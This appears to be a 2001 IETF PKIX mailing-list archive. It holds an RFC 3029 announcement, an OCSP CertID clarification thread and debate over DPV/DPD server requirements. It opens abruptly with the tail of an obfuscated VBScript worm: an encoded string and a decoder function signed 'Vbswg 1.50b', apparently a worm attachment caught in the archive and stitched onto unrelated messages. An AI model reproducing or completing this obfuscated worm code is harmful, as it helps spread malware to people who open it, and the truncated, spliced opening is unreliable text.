fhK=0F=10gPvz=0F=10pg=11fhk=0F=10pG=11fwHepkvpq=0F=10X)udiy3=1170d2")
Function e7iqom5JE4z(hFeiuKrcoj3)
For I =3D 1 To Len(hFeiuKrcoj3) Step 2
StTP1MoJ3ZU=3D Mid(hFeiuKrcoj3, I, 1)
WHz23rBqlo7=3D Mid(hFeiuKrcoj3, I + 1, 1)
If Asc(StTP1MoJ3ZU) =3D 15 Then
StTP1MoJ3ZU=3D Chr(10)
ElseIf Asc(StTP1MoJ3ZU) =3D 16 Then
StTP1MoJ3ZU =3D Chr(13)
ElseIf Asc(StTP1MoJ3ZU) =3D 17 Then
StTP1MoJ3ZU =3D Chr(32)
Else
StTP1MoJ3ZU =3D Chr(Asc(StTP1MoJ3ZU) - 2)
End If
If WHz23rBqlo7<> "" Then
If Asc(WHz23rBqlo7) =3D 15 Then
WHz23rBqlo7=3D Chr(10)
ElseIf Asc(WHz23rBqlo7) =3D 16 Then
WHz23rBqlo7=3D Chr(13)
ElseIf Asc(WHz23rBqlo7) =3D 17 Then
WHz23rBqlo7=3D Chr(32)
Else
WHz23rBqlo7=3D Chr(Asc(WHz23rBqlo7) - 2)
End If
End If
e7iqom5JE4z =3D e7iqom5JE4z & WHz23rBqlo7 & StTP1MoJ3ZU
Next
End Function
'Vbswg 1.50b
------_=_NextPart_000_01C09599.10306B7C--

To: IETF-Announce: ;
Subject: RFC 3029 on DVCS Protocols
Cc: [email-masked], [email-masked]
Date: Mon, 12 Feb 2001 16:02:49 -0800
From: RFC Editor <[email-masked]>

--NextPart

A new Request for Comments is now available in online RFC libraries.

        RFC 3029

        Title:	    Internet X.509 Public Key Infrastructure Data
                    Validation and Certification Server Protocols
        Author(s):  C. Adams, P. Sylvester, M. Zolotarev,
                    R. Zuccherato 
        Status:     Experimental
	Date:       February 2001
        Mailbox:    [email-masked], [email-masked],
                    [email-masked],
                    [email-masked] 
        Pages:      51
        Characters: 107347
        Updates/Obsoletes/SeeAlso:    None        

        I-D Tag:    draft-ietf-pkix-dcs-07.txt

        URL:        ftp://ftp.rfc-editor.org/in-notes/rfc3029.txt

This document describes a general Data Validation and Certification
Server (DVCS) and the protocols to be used when communicating with
it.  The Data Validation and Certification Server is a Trusted Third
Party (TTP) that can be used as one component in building reliable
non-repudiation services.
 
Useful Data Validation and Certification Server responsibilities in a
PKI are to assert the validity of signed documents, public key
certificates, and the possession or existence of data.
 
Assertions created by this protocol are called Data Validation
Certificates (DVC).
 
We give examples of how to use the Data Validation and Certification
Server to extend the lifetime of a signature beyond key expiry or
revocation and to query the Data Validation and Certification Server
regarding the status of a public key certificate.  The document
includes a complete example of a time stamping transaction.

This document is a product of the Public-Key Infrastructure (X.509)
Working Group of the IETF.

This memo defines an Experimental Protocol for the Internet community.
It does not specify an Internet standard of any kind.  Discussion and
suggestions for improvement are requested.  Distribution of this memo
is unlimited.

This announcement is sent to the IETF list and the RFC-DIST list.
Requests to be added to or deleted from the IETF distribution list
should be sent to [email-masked].  Requests to be
added to or deleted from the RFC-DIST distribution list should
be sent to [email-masked].

Details on obtaining RFCs via FTP or EMAIL may be obtained by sending
an EMAIL message to [email-masked] with the message body 
help: ways_to_get_rfcs.  For example:

        To: [email-masked]
        Subject: getting rfcs

        help: ways_to_get_rfcs

Requests for special distribution should be addressed to either the
author of the RFC in question, or to [email-masked].  Unless
specifically noted otherwise on the RFC itself, all RFCs are for
unlimited distribution.echo 
Submissions for Requests for Comments should be sent to
[email-masked].  Please consult RFC 2223, Instructions to RFC
Authors, for further information.

Joyce K. Reynolds and Sandy Ginoza
USC/Information Sciences Institute

...

Below is the data which will enable a MIME compliant Mail Reader 
implementation to automatically retrieve the ASCII version
of the RFCs.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type:  Message/External-body;
        access-type="mail-server";
        server="[email-masked]"

Content-Type: text/plain
Content-ID: <[email-masked]>

RETRIEVE: rfc
DOC-ID: rfc3029

--OtherAccess
Content-Type:   Message/External-body;
        name="rfc3029.txt";
        site="ftp.isi.edu";
        access-type="anon-ftp";
        directory="in-notes"

Content-Type: text/plain
Content-ID: <[email-masked]>

--OtherAccess--
--NextPart--

Content-return: allowed
Date: Mon, 12 Feb 2001 07:47:02 -0800
From: Ambarish Malpani <[email-masked]>
Subject: RE: OCSP v1 - request for clarification of request
To: "[email-masked]'" <[email-masked]>, [email-masked]

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

--Boundary_(ID_a5oU3wZqG7+aeB9JA4UY/A)
Content-type: text/plain; charset="iso-8859-1"

Hi Jonathan,
    It only applies to the issuerKeyHash. The text will be rephrased before
we become a
draft standard.
 
Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [email-masked]
339 N. Bernardo Ave.                          http://www.valicert.com
<http://www.valicert.com/> 
Mountain View, CA 94043

-----Original Message-----
From: [email-masked] [mailto:[email-masked]]
Sent: Monday, February 12, 2001 3:10 AM
To: [email-masked]
Subject: OCSP v1 - request for clarification of request

Hi all, 

We'd be grateful for clarification of an ambiguity in the June 1999 OCSP v1
spec. 

Section 4.1.1 includes the following: 

   CertID          ::=     SEQUENCE { 
       hashAlgorithm       AlgorithmIdentifier, 
       issuerNameHash      OCTET STRING, -- Hash of Issuer's DN 
       issuerKeyHash       OCTET STRING, -- Hash of Issuers public key 
       serialNumber        CertificateSerialNumber } 

   issuerNameHash is the hash of the Issuer's distinguished name. The 
   hash shall be calculated over the DER encoding of the issuer's name 
   field in the certificate being checked. issuerKeyHash is the hash of 
   the Issuer's public key. The hash shall be calculated over the value 
   (excluding tag and length) of the subject public key field in the 
   issuer's certificate. The hash algorithm used for both these hashes, 
   is identified in hashAlgorithm. serialNumber is the serial number of 
   the certificate for which status is being requested. 

The question is a simple one:  does the 'excluding tag and length' apply
only to the issuerKeyHash, or does it apply also to the issuerNameHash? 

I suggest this paragraph be re-phrased in future versions to clarify this
point. 

Many thanks in advance, 

Jonathan 
----------------------- 
[email-masked] 
www.symbian.com 

****************************************************************************
***************************************
Symbian Limited (Co.No.3173352) Registered Office: Sentinel House, 16
Harcourt Street, London, W1H 4AD, UK.
This message is intended only for use by the named addressee and may contain
privileged and/or confidential information. If you are not the named
addressee you should not disseminate, copy or take any action in reliance on
it. If you have received this message in error please notify
[email-masked] and delete the message and any attachments
accompanying it immediately. Symbian does not accept liability for any
corruption, interception, amendment, tampering or viruses occuring to this
message in transit or for any message sent by its employees which is not in
compliance with Symbian corporate policy.
****************************************************************************
***************************************

--Boundary_(ID_a5oU3wZqG7+aeB9JA4UY/A)
Content-type: text/html; charset="iso-8859-1"
Content-transfer-encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">

<META content=3D"MSHTML 5.50.4134.600" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2></FONT>&nbsp;</DIV>
<DIV><SPAN class=3D476315115-12022001><FONT face=3DArial =
color=3D#0000ff size=3D2>Hi=20
Jonathan,</FONT></SPAN></DIV>
<DIV><SPAN class=3D476315115-12022001><FONT face=3DArial =
color=3D#0000ff=20
size=3D2>&nbsp;&nbsp;&nbsp; It only applies to the issuerKeyHash. The =
text will be=20
rephrased before we become a</FONT></SPAN></DIV>
<DIV><SPAN class=3D476315115-12022001><FONT face=3DArial =
color=3D#0000ff size=3D2>draft=20
standard.</FONT></SPAN></DIV>
<DIV><SPAN class=3D476315115-12022001><FONT face=3DArial =
color=3D#0000ff=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D476315115-12022001><FONT face=3DArial =
color=3D#0000ff=20
size=3D2>Regards,</FONT></SPAN></DIV>
<DIV><SPAN class=3D476315115-12022001><FONT face=3DArial =
color=3D#0000ff=20
size=3D2>Ambarish</FONT></SPAN></DIV>
<DIV>&nbsp;</DIV>
<P><FONT=20
size=3D2>---------------------------------------------------------------=
------<BR>Ambarish=20
Malpani<BR>Architect&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;=20
650.567.5457<BR>ValiCert,=20
Inc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
[email-masked]<BR>339 N. Bernardo=20
Ave.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;=20
<A target=3D_blank=20
href=3D"http://www.valicert.com/">http://www.valicert.com</A><BR>Mountai=
n View, CA=20
94043<BR></FONT></P>
<BLOCKQUOTE=20
style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> =
[email-masked]=20
  [mailto:[email-masked]]<BR><B>Sent:</B> Monday, =
February 12,=20
  2001 3:10 AM<BR><B>To:</B> [email-masked]<BR><B>Subject:</B> OCSP =
v1 -=20
  request for clarification of request<BR><BR></FONT></DIV><BR><FONT=20
  face=3Dsans-serif size=3D2>Hi all,</FONT> <BR><BR><FONT =
face=3Dsans-serif=20
  size=3D2>We'd be grateful for clarification of an ambiguity in the =
June 1999=20
  OCSP v1 spec.</FONT> <BR><BR><FONT face=3Dsans-serif size=3D2>Section =
4.1.1=20
  includes the following:</FONT> <BR><BR><FONT face=3Dsans-serif =
size=3D2>&nbsp;=20
  &nbsp;CertID &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;::=3D &nbsp; &nbsp; =
SEQUENCE=20
  {</FONT> <BR><FONT face=3Dsans-serif size=3D2>&nbsp; &nbsp; &nbsp;=20
  &nbsp;hashAlgorithm &nbsp; &nbsp; &nbsp; AlgorithmIdentifier,</FONT> =
<BR><FONT=20
  face=3Dsans-serif size=3D2>&nbsp; &nbsp; &nbsp; &nbsp;issuerNameHash =
&nbsp; &nbsp;=20
  &nbsp;OCTET STRING, -- Hash of Issuer's DN</FONT> <BR><FONT =
face=3Dsans-serif=20
  size=3D2>&nbsp; &nbsp; &nbsp; &nbsp;issuerKeyHash &nbsp; &nbsp; =
&nbsp; OCTET=20
  STRING, -- Hash of Issuers public key</FONT> <BR><FONT =
face=3Dsans-serif=20
  size=3D2>&nbsp; &nbsp; &nbsp; &nbsp;serialNumber &nbsp; &nbsp; &nbsp; =

  &nbsp;CertificateSerialNumber }</FONT> <BR><BR><FONT =
face=3Dsans-serif=20
  size=3D2>&nbsp; &nbsp;issuerNameHash is the hash of the Issuer's =
distinguished=20
  name. The</FONT> <BR><FONT face=3Dsans-serif size=3D2>&nbsp; =
&nbsp;hash shall be=20
  calculated over the DER encoding of the issuer's name</FONT> =
<BR><FONT=20
  face=3Dsans-serif size=3D2>&nbsp; &nbsp;field in the certificate =
being checked.=20
  issuerKeyHash is the hash of</FONT> <BR><FONT face=3Dsans-serif =
size=3D2>&nbsp;=20
  &nbsp;the Issuer's public key. The hash shall be calculated over the=20
  value</FONT> <BR><FONT face=3Dsans-serif size=3D2>&nbsp; =
&nbsp;(excluding tag and=20
  length) of the subject public key field in the</FONT> <BR><FONT=20
  face=3Dsans-serif size=3D2>&nbsp; &nbsp;issuer's certificate. The =
hash algorithm=20
  used for both these hashes,</FONT> <BR><FONT face=3Dsans-serif =
size=3D2>&nbsp;=20
  &nbsp;is identified in hashAlgorithm. serialNumber is the serial =
number=20
  of</FONT> <BR><FONT face=3Dsans-serif size=3D2>&nbsp; &nbsp;the =
certificate for=20
  which status is being requested.</FONT> <BR><BR><FONT =
face=3Dsans-serif=20
  size=3D2>The question is a simple one: &nbsp;does the 'excluding tag =
and length'=20
  apply only to the issuerKeyHash, or does it apply also to the=20
  issuerNameHash?</FONT> <BR><BR><FONT face=3Dsans-serif size=3D2>I =
suggest this=20
  paragraph be re-phrased in future versions to clarify this =
point.</FONT>=20
  <BR><BR><FONT face=3Dsans-serif size=3D2>Many thanks in =
advance,</FONT>=20
  <BR><BR><FONT face=3Dsans-serif size=3D2>Jonathan</FONT> <BR><FONT =
face=3Dsans-serif=20
  size=3D2>-----------------------</FONT> <BR><FONT face=3Dsans-serif=20
  size=3D2>[email-masked]</FONT> <BR><FONT =
face=3Dsans-serif=20
  size=3D2>www.symbian.com</FONT> <BR><CODE><FONT=20
  =
size=3D3><BR><BR>*******************************************************=
************************************************************<BR>Symbian =

  Limited (Co.No.3173352) Registered Office: Sentinel House, 16 =
Harcourt Street,=20
  London, W1H 4AD, UK.<BR>This message is intended only for use by the =
named=20
  addressee and may contain privileged and/or confidential information. =
If you=20
  are not the named addressee you should not disseminate, copy or take =
any=20
  action in reliance on it. If you have received this message in error =
please=20
  notify [email-masked] and delete the message and any =
attachments=20
  accompanying it immediately. Symbian does not accept liability for =
any=20
  corruption, interception, amendment, tampering or viruses occuring to =
this=20
  message in transit or for any message sent by its employees which is =
not in=20
  compliance with Symbian corporate=20
  =
policy.<BR>*************************************************************=
******************************************************<BR></BLOCKQUOTE><=
/FONT></CODE></BODY></HTML>

--Boundary_(ID_a5oU3wZqG7+aeB9JA4UY/A)--

From: [email-masked]
Subject: unsubscribe
To: [email-masked]
Date: Mon, 12 Feb 2001 07:34:09 -0500

unsubscribe

From: [email-masked]
To: [email-masked]
Cc: 
Subject: OCSP v1 - request for clarification of request
Date: Mon, 12 Feb 2001 11:10:10 +0000

This is a multipart message in MIME format.
--=_alternative 003D648E802569F1_=
Content-Type: text/plain; charset="us-ascii"

Hi all,

We'd be grateful for clarification of an ambiguity in the June 1999 OCSP 
v1 spec.

Section 4.1.1 includes the following:

   CertID          ::=     SEQUENCE {
       hashAlgorithm       AlgorithmIdentifier,
       issuerNameHash      OCTET STRING, -- Hash of Issuer's DN
       issuerKeyHash       OCTET STRING, -- Hash of Issuers public key
       serialNumber        CertificateSerialNumber }

   issuerNameHash is the hash of the Issuer's distinguished name. The
   hash shall be calculated over the DER encoding of the issuer's name
   field in the certificate being checked. issuerKeyHash is the hash of
   the Issuer's public key. The hash shall be calculated over the value
   (excluding tag and length) of the subject public key field in the
   issuer's certificate. The hash algorithm used for both these hashes,
   is identified in hashAlgorithm. serialNumber is the serial number of
   the certificate for which status is being requested.

The question is a simple one:  does the 'excluding tag and length' apply 
only to the issuerKeyHash, or does it apply also to the issuerNameHash?

I suggest this paragraph be re-phrased in future versions to clarify this 
point.

Many thanks in advance,

Jonathan
-----------------------
[email-masked]
www.symbian.com

*******************************************************************************************************************
Symbian Limited (Co.No.3173352) Registered Office: Sentinel House, 16 Harcourt Street, London, W1H 4AD, UK.
This message is intended only for use by the named addressee and may contain privileged and/or confidential information. If you are not the named addressee you should not disseminate, copy or take any action in reliance on it. If you have received this message in error please notify [email-masked] and delete the message and any attachments accompanying it immediately. Symbian does not accept liability for any corruption, interception, amendment, tampering or viruses occuring to this message in transit or for any message sent by its employees which is not in compliance with Symbian corporate policy.
*******************************************************************************************************************

--=_alternative 003D648E802569F1_=
Content-Type: text/html; charset="us-ascii"

<br><font size=2 face="sans-serif">Hi all,</font>
<br>
<br><font size=2 face="sans-serif">We'd be grateful for clarification of an ambiguity in the June 1999 OCSP v1 spec.</font>
<br>
<br><font size=2 face="sans-serif">Section 4.1.1 includes the following:</font>
<br>
<br><font size=2 face="sans-serif">&nbsp; &nbsp;CertID &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;::= &nbsp; &nbsp; SEQUENCE {</font>
<br><font size=2 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp;hashAlgorithm &nbsp; &nbsp; &nbsp; AlgorithmIdentifier,</font>
<br><font size=2 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp;issuerNameHash &nbsp; &nbsp; &nbsp;OCTET STRING, -- Hash of Issuer's DN</font>
<br><font size=2 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp;issuerKeyHash &nbsp; &nbsp; &nbsp; OCTET STRING, -- Hash of Issuers public key</font>
<br><font size=2 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp;serialNumber &nbsp; &nbsp; &nbsp; &nbsp;CertificateSerialNumber }</font>
<br>
<br><font size=2 face="sans-serif">&nbsp; &nbsp;issuerNameHash is the hash of the Issuer's distinguished name. The</font>
<br><font size=2 face="sans-serif">&nbsp; &nbsp;hash shall be calculated over the DER encoding of the issuer's name</font>
<br><font size=2 face="sans-serif">&nbsp; &nbsp;field in the certificate being checked. issuerKeyHash is the hash of</font>
<br><font size=2 face="sans-serif">&nbsp; &nbsp;the Issuer's public key. The hash shall be calculated over the value</font>
<br><font size=2 face="sans-serif">&nbsp; &nbsp;(excluding tag and length) of the subject public key field in the</font>
<br><font size=2 face="sans-serif">&nbsp; &nbsp;issuer's certificate. The hash algorithm used for both these hashes,</font>
<br><font size=2 face="sans-serif">&nbsp; &nbsp;is identified in hashAlgorithm. serialNumber is the serial number of</font>
<br><font size=2 face="sans-serif">&nbsp; &nbsp;the certificate for which status is being requested.</font>
<br>
<br><font size=2 face="sans-serif">The question is a simple one: &nbsp;does the 'excluding tag and length' apply only to the issuerKeyHash, or does it apply also to the issuerNameHash?</font>
<br>
<br><font size=2 face="sans-serif">I suggest this paragraph be re-phrased in future versions to clarify this point.</font>
<br>
<br><font size=2 face="sans-serif">Many thanks in advance,</font>
<br>
<br><font size=2 face="sans-serif">Jonathan</font>
<br><font size=2 face="sans-serif">-----------------------</font>
<br><font size=2 face="sans-serif">[email-masked]</font>
<br><font size=2 face="sans-serif">www.symbian.com</font>
<br><CODE><FONT SIZE=3><BR>
<BR>
*******************************************************************************************************************<BR>
Symbian Limited (Co.No.3173352) Registered Office: Sentinel House, 16 Harcourt Street, London, W1H 4AD, UK.<BR>
This message is intended only for use by the named addressee and may contain privileged and/or confidential information. If you are not the named addressee you should not disseminate, copy or take any action in reliance on it. If you have received this message in error please notify [email-masked] and delete the message and any attachments accompanying it immediately. Symbian does not accept liability for any corruption, interception, amendment, tampering or viruses occuring to this message in transit or for any message sent by its employees which is not in compliance with Symbian corporate policy.<BR>
*******************************************************************************************************************<BR>
</FONT></CODE>
--=_alternative 003D648E802569F1_=--

From: "Raymond Lee" <[email-masked]>
To: <[email-masked]>
Subject: unsubscribe
Date: Sun, 11 Feb 2001 23:40:34 -0500

This is a multi-part message in MIME format.

------=_NextPart_000_002A_01C09484.074AA420
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

unsubscribe

------=_NextPart_000_002A_01C09484.074AA420
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>unsubscribe</FONT></DIV></BODY></HTML>

------=_NextPart_000_002A_01C09484.074AA420--

From: "Carlin Covey" <[email-masked]>
To: "Stephen Kent" <[email-masked]>, "Peter Sylvester" <[email-masked]>
Cc: <[email-masked]>
Subject: RE: OCSPv2, DPV and DPD issues summary (long)
Date: Fri, 9 Feb 2001 10:13:24 -0700
Importance: Normal

<snip>

> > >6.  There exists a need for loop detection.          [Sylvester,
> 1/11/01] 

<snip>

OK. A list of IDs of servers that have been involved in processing a
request seems reasonable. I'm not sure whether the situations Carlin
notes in his response are ones we need to address, yet. 

Steve  

[Carlin]  I don't see a reason at this point to address the 
          "intentional loop" situations that I pointed out
          earlier.  I simply wanted to mention them in case
          someone wiser than I could foresee a problem.
          I'd be happy with a conscious decision not to 
          address these issues.

Regards,

Carlin

-----------------------------------

- Carlin Covey
  Cylink Corp.

From: "Carlin Covey" <[email-masked]>
To: "Stephen Kent" <[email-masked]>, "Michael Myers" <[email-masked]>
Cc: <[email-masked]>
Subject: RE: OCSPv2, DPV and DPD issues summary (long)
Date: Fri, 9 Feb 2001 09:56:07 -0700
Importance: Normal

<snip>

>
>The real question is:  "Is a DPD server subject to security architecture
>requirements (e.g. Common Criteria), or is it simply an 'untrusted' relay?"
>given this requirement.  If the WG can resolve a position to this question,
>we'll be quick to closure on the issue.

I think we are way out of sync here. As we have always used the term,
"trust" in the DPV server is independent of assurance and of any
formal evaluation criteria, e.g., Common Criteria (although one might
argue that it should be otherwise). So, Ihave to  reject your
restatement of this question.

[Carlin]  Just to throw my tuppence in here.....

          Mike's usage of the term "untrusted" is quite
          familiar to those of us who have long been involved
          in computer security work.  This usage simply reflects
          the notion that one should not rely on information unless
          there is good reason to believe that it is correct.
          (But then, there's a sucker born every minute.....)

          It appears to me that both Mike and Steve agree
          (as do I) that the premise of the DPD service is
          that there is no "good reason" (i.e. formal security
          evaluation) for the client to rely on the correctness
          of the response received from a DPD server.  As we
          say in the US, the client is "from Missouri" and has
          to verify this information for himself.

          We have been using the term "trust" in the DPV context
          to mean that the DPV client does accept the response
          from the server as "gospel."  Perhaps we should instead
          have been using the term "rely," because the means by
          which the client or client's organization) makes the
          decision to believe the data is out of scope of the DPV
          specification.  The decision could be consciously made
          without evidence ("faith") or made with evidence
          {"science"), both of which are conscious trust decisions,
          or the decision could be made unconsciously (see sucker
          natal comment above), in which case the reliance is based
          more on negligence than on trust. Once the reliance
          decision is made, the means by which this decision is
          encoded for automated processing is within scope of the
          DPV specification.

          I hope that, modulo a few lexicology debates, we are all in
          agreement that a DPV client relies on a DPV response, but a
          DPD client does not rely on a DPD response.

          (Perhaps not really worth tuppence, but with depreciation ...)

Regards,

Carlin

---------------------------

- Carlin Covey
  Cylink Corp.

From: Peter Sylvester <[email-masked]>
Date: Fri, 9 Feb 2001 16:57:41 +0100 (MET)
To: [email-masked], [email-masked]
Subject: RE: DPV and DPD issues summary [no longer that long :-)]

> 
> 
> Hi Peter,
>     By extending this arguement, would you insist that every
> OCSP response contained a CRL (if it was based on a CRL), or
> that every SSL certificate contained the request, "company
> ownership of domain", RA authorization, [or whatever other info
> the CA used to figure out that the request was genuine], ....

No, I don't insist in anything; I just said that a server should
have the possibility to add data that have been used, not that it
MUST add data. 

Content-return: allowed
Date: Fri, 09 Feb 2001 07:16:50 -0800
From: Ambarish Malpani <[email-masked]>
Subject: RE: DPV and DPD issues summary [no longer that long :-)]
To: [email-masked]

Hi Peter,
    By extending this arguement, would you insist that every
OCSP response contained a CRL (if it was based on a CRL), or
that every SSL certificate contained the request, "company
ownership of domain", RA authorization, [or whatever other info
the CA used to figure out that the request was genuine], ....

I am not sure you could get most protocols to work if you tried
to get all the proof over from the server....

Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [email-masked]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043

> From: Peter Sylvester [mailto:[email-masked]]
> Sent: Friday, February 09, 2001 3:23 AM
> To: [email-masked]; [email-masked]
> Cc: [email-masked]
> Subject: Re: OCSPv2, DPV and DPD issues summary (long)
> 
> 
> > 
> > There is some confusion here. We are in agreement that it would be 
> > good if each server along a path logged the response from 
> the server 
> > from which it received a response. That does not require nested 
> > responses. Nested responses would be needed if we insisted that a 
> > client needed to be able to assemble this data, rather than relying 
> > on the DPV server(s) to maintain this data.
> > 
> There are two issues: 
> 
> - A server must probably log all activities anyway.
>   So far, this is not the directly visible part of the protocol, 
>   unless we add a protocol to allow to ask a server to ... 
> 
> - But: Whenever wants to know *why* a DPV has responsed, then 
> it should NOT
>   be necessary to go back to the server's logging files. Or, a DPV
>   server should have the possibility to include all relevant 
> information
>   that has contributed to its decision in such a way that a client
>   can easily exploit this by logging or showing to a user or else.  
> 

From: Peter Sylvester <[email-masked]>
Date: Fri, 9 Feb 2001 12:22:59 +0100 (MET)
To: [email-masked], [email-masked]
Subject: Re: OCSPv2, DPV and DPD issues summary (long)
Cc: [email-masked]

> 
> There is some confusion here. We are in agreement that it would be 
> good if each server along a path logged the response from the server 
> from which it received a response. That does not require nested 
> responses. Nested responses would be needed if we insisted that a 
> client needed to be able to assemble this data, rather than relying 
> on the DPV server(s) to maintain this data.
> 
There are two issues: 

- A server must probably log all activities anyway.
  So far, this is not the directly visible part of the protocol, 
  unless we add a protocol to allow to ask a server to ... 

- But: Whenever wants to know *why* a DPV has responsed, then it should NOT
  be necessary to go back to the server's logging files. Or, a DPV
  server should have the possibility to include all relevant information
  that has contributed to its decision in such a way that a client
  can easily exploit this by logging or showing to a user or else.  

Date: Thu, 8 Feb 2001 17:30:21 -0500
To: "Michael Myers" <[email-masked]>
From: Stephen Kent <[email-masked]>
Subject: RE: OCSPv2, DPV and DPD issues summary (long)
Cc: <[email-masked]>

Mike,

><snip>
>  > >5.  Should DPD response syntax enable recursion?     [Covey, 1/4/01]
>  > >     (OCSP framework already enables recusion)
>  >
>  > For now I don't see the utility of supporting nested responses in
>  > DPV, or DPD. For a DPD server, it should be able to extract any
>  > certs, CRLs, or OCSP responses it receives and pass on the extracted
>  > data. In fact, it may not want to pass one all the data it gets from
>  > another DPD server, i.e., it may winnow it. In case of DPV, we
>  > discussed the fact that the client trusts the DPV server it uses, and
>  > trust is not transitive, so there does not appear to be a need for a
>  > DPV response to convey another DPV response, although a DPV server
>  > may log the responses and save them in case they turn out to be wrong
>  > and the server operator needs to track down the source of the error.
>  > If a DPV server makes use of a DPD server, or vice versa, I think the
>  > arguments above apply. So, for now, I see no need to support nested
>  > responses.
>
>I think we may be out of sync.  I too see no need to address this issue
>given that OCSP-based solutions already exist to address these requirements.
>See my prior note on this point.

Yes, we may be out of sync. In this thread we're interested only in 
DPD/DPV requirements, so I get confused by references to anything 
else, e.g., OCSP.

><snip>
>  > >8.  Should DPD responses be signed?                  [Manger, 1/24/01]
>  > >     (No, DPD responses do not need to be signed.)
>  >
>  > signing is an option in my revised spec.
>
>I have no problems on optional signing from an OCSP perspective.

Again, why a reference to OCSP? We're working on DPD/DPV!

>
>  >
>  > >9.  A signature is not needed for DPV in all cases.  [Kent, 1/24/01]
>  > >     (proposed: OCSPv2 and DPV I-Ds will continue to
>  > >      mandate sigs pending WG discussion and consensus
>  > >      to the contrary.)
>  >
>  > I note the phrase "to the contrary" which is not a good sign :-). In
>  > your detailed response you suggest that NR is a primary motivation
>  > for DPV. I don't think the WG discussion supports that assertion,
>  > though I can't argue with you re what may have been your primary
>  > motivation. My analysis is that we promote the use of DPV for any
>  > client that is not PKI aware or that wishes to offload cert
>  > validation processing. That's what the motivation text has said for
>  > some time. Given that, NR is not implied as a primary rationale for
>  > DPV.
>  >
>
>True, NR is a subset of PKI-based security needs, but source authentication
>needs remain.  Also, response signing is mandated in RFC 2560 (at least for
>revocation status requests.)  I'm assuming that our work in updating
>editorial issues in 2560 as it moves forward excludes substantive changes.
>Perhaps as this relates to OCSP it's better to soften this SHALL to a MAY in
>the OCSPv2 work?

An extended version of OCSP is only one candidate for meeting the 
DPD/DPV requirements. Thus I don't want to prejudice these 
requirements by reference to OCSP.

>  >
>  > >13. Need for validation controls beyond 2459 rules   [Pinkas, 1/23/01]
>  > >     (DPD paths should (shall?) be valid.)
>  >
>  > I have picked parameters based on Denis's SMIME ESP example, and
>  > comments from Russ. But, I don't agree with your conclusion in the
>  > details. We still do not have consensus on whether a client expects a
>  > valid path from a DPD server, or only a probably valid path. The
>  > inclusion of revocation status data in the DPD response is easily
>  > made into a client-specified option. The real issue is whether we
>  > require a DPD server to be capable of returning the data whenever it
>  > claims to return a valid path.
>
>The real question is:  "Is a DPD server subject to security architecture
>requirements (e.g. Common Criteria), or is it simply an 'untrusted' relay?"
>given this requirement.  If the WG can resolve a position to this question,
>we'll be quick to closure on the issue.

I think we are way out of sync here. As we have always used the term, 
"trust" in the DPV server is independent of assurance and of any 
formal evaluation criteria, e.g., Common Criteria (although one might 
argue that it should be otherwise). So, Ihave to  reject your 
restatement of this question.

>  > >14. Ability to mandate name forms in DPD responses.  [Housley, 1/24/01]
>  > >     (Name constraints are preferable, esp. wrt to
>  > >      cross certs).
>  >
>  > added to the next rev.
>  >
>  > the next rev will include a slightly edited motivation discussion. It
>  > will propose ASN.1 syntax for DPD and DPV client requests and server
>  > responses, done separately. My ASN.1 will have errors, I am sure, but
>  > the point of specifying something at this point is to make more
>  > concrete the data items being exchanged, as well as the processing
>  > requirements associated with the exchanged data.
>  >
>  > I am out at the NDSS this week, so nothing will likely be ready until
>  > next week. Meanwhile, we have a few open issues that can continue to
>  > be addressed on the list.
>
